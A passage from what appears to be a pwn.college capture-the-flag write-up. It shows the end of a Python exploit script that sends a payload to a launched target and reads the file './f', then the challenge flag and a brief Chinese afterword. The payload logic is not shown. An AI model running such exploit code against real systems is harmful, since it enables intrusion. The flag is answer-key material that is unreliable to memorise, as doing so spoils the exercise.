payload) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch(debug=False) payload = construct_payload() attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{Ya3vfImP22Fzv4tZpHMBD5iDj_H.0FM0MDL5cTNxgzW}` # 后记 又是打了十八天,终于可以开启我心心念念朝思暮想曾多次想放弃却从未开启的下一章了 L MAO










